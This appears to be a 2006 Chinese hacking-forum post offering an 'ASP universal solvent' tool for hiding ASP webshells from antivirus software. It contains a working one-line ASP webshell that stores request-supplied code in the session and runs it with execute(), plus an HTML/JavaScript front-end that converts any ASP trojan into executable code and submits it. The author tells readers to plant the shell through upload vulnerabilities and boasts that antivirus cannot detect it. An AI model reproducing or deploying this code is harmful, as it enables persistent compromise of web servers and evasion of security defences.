asp马免杀工具----asp万能溶剂--asp木马,免杀工具,asp,万能溶剂

作者：佚名来源：网上收集发布时间：2006-5-23 23:17:33

文章作者：虫虫
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

7天前俺询问netxfly合不合适把这个工具发出来,结果都不理俺~~~嘿嘿~~51节嘛, 大家都好忙哪~

asp万能溶剂----呵呵,忽然想出了一个这样的名字给我的小工具,感觉还够形象.
这是一个演示版本

先打个广告吧:
虫虫的asp万能溶剂----主要用于asp木马的免杀.目前为止可以使大部分的asp木马(不使用include的马)完全免受杀毒软件的追杀(不过LAKE的ASP木马查杀工具可以找到俺)~~

哈哈哈,好了不说了,发现我废话好多

其实很简单:思路就是将asp代码写入到session中保存,使用是只要execute(session("xx"))就可以,由于不用写文件,所以免除了被杀的危险,使用的时候感觉这个asp完全变成了要使用的木马~~所以想了个名字叫asp万能溶剂~其实俺还想叫他asp变形虫虫~~~
这样不追求将asp特征码修改而是完全不使用文件存储木马,可以说是另外一个免杀的思路吧.

代码分两部分,本地部分和服务器上的asp部分,跟一句话木马貌似,其实就是一句话的改进.
代码里有些注释,可以看看.

这是偶的代码:服务器上的asp部分

以下是引用片段：
<%if request("aspcode_estcc_060430")<>"" then
session("aspcode_estcc_060430")=request("aspcode_estcc_060430")
end If
execute(session("aspcode_estcc_060430"))%>

这是本地部分,为啥还写一个这么麻烦的本地部分呢,因为如果asp马里有<%这个的话execute就不能正确执行,只好变通一下拉~~写的不是很好,大家批评一下吧:

以下是引用片段：
<style type="text/css">
body,textarea,form,input,button
{
  font-size:12px;
  border-width:1px;
  border-style:double;
}
</style>
<script>
function c1(ns) //处理非asp代码
{
  s=ns.replace(/"/igm,"\"\"");
  s= s.replace(/\r\n/igm,"\"+vbCrLf+\"");
  s="\nresponse.write \""+s+"\"\n";
  //s= s.replace(/\+""[^"]|[^"]""\+/gm,"$1"); 本意是清除一些无用的语句，如 xx=""+vbcrlf+""，不过总有错误，放弃。
  return s;
}

function c() //全部转换成asp代码，因为<%一类的字符会使execute出错，
{
  var s=new String(document.all.text.value);
  var finished=new String();
  s=s.replace(/<%=(.+?)%>/gm,"<%Response.write $1%>"); //先处理<%=xx%>这种情况
  var aspCode=new RegExp("<%((.|\r|\n)*?)%>","igm");
  while(aspCode.exec(s)!=null)
  {
    t=RegExp.$1;
    s=RegExp.rightContext;
    finished+=c1(RegExp.leftContext);
    finished+=t;
    aspCode.lastIndex=0;
  }
  if (s!=null){ finished += c1(s);   }
  document.all.text.value=finished;
}
function check()
{
  if(document.all.fpath.value==""){alert("溶剂在哪里啊溶剂在哪里?");}
  else{
    document.all.form1.action=document.all.fpath.value;
    if (document.all.text.value==""){alert("把asp木马的内容全部复制过来丫~");}
    else{
        c();
        form1.submit();
    }
  }
}
</script>
<body>
<center><span style="font-size:14px;color:red;">虫虫的ASP万能溶剂(变形虫虫?)</span>
<form method=post action="" id=form1>
<input type=hidden name=act_estcc_060430 >
<textarea id=text ROWS="30" COLS="80" name=aspcode_estcc_060430></textarea><br>把asp文件打开后整个复制过来就可以<br>include变通自己想办法吧
</form><br>
溶剂在这个地方：
<input type=text id=fpath>
<button onclick=’check()’>开始溶解!</button>

使用的时候利用上传漏洞把那个asp部分保存到服务器上去(这个东西还没有杀毒软件认识,所以可以放心的往上扔,呵呵),然后打开本地的那个html文件,把你的木马放上去就可以啦~~以后访问这个asp的时候效果跟访问木马一模一样~~(万能变形虫,哈哈),什么时候想换马重新"溶解"一次就好啦~~

好了,不废话了,大家使用一下看看有什么不方便的地方再讨论吧.

asp万能溶剂.rar